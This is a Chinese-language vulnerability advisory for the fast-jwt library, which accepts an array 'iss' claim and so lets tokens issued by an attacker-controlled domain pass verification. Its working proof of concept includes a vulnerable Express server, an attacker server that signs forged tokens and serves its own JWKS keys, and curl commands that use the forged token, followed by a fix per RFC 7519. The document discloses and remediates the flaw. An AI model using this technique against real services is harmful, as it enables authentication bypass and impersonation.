fast-jwt 库未能根据 RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 正确验证 iss 声明。
fast-jwt 库中的 iss（颁发者）声明验证允许将字符串数组作为有效的 iss 值。这一设计缺陷导致潜在攻击，恶意行为者可以构造一个 JWT，其 iss 声明格式为 ['https://attacker-domain/', 'https://valid-iss']。由于宽松的验证，该 JWT 将被视为有效。
此外，如果应用程序依赖像 get-jwks 这样的外部库，且这些库不独立验证 iss 声明，攻击者可以利用此漏洞伪造一个被受害者应用程序接受的 JWT。本质上，攻击者可以将自己的域名插入到 iss 数组中，与合法颁发者并列，从而绕过预期的安全检查。
以下列代码运行的服务器为例：
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
现在，我们构建一个用于生成 JWT 令牌并将验证密钥发送给受害者服务器的服务器：
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
依赖 fast-jwt 验证 iss 声明的应用程序允许攻击者签署任意载荷，这些载荷将被验证器接受。
将 https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 更改为只接受字符串作为值的验证器，如 RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 所述。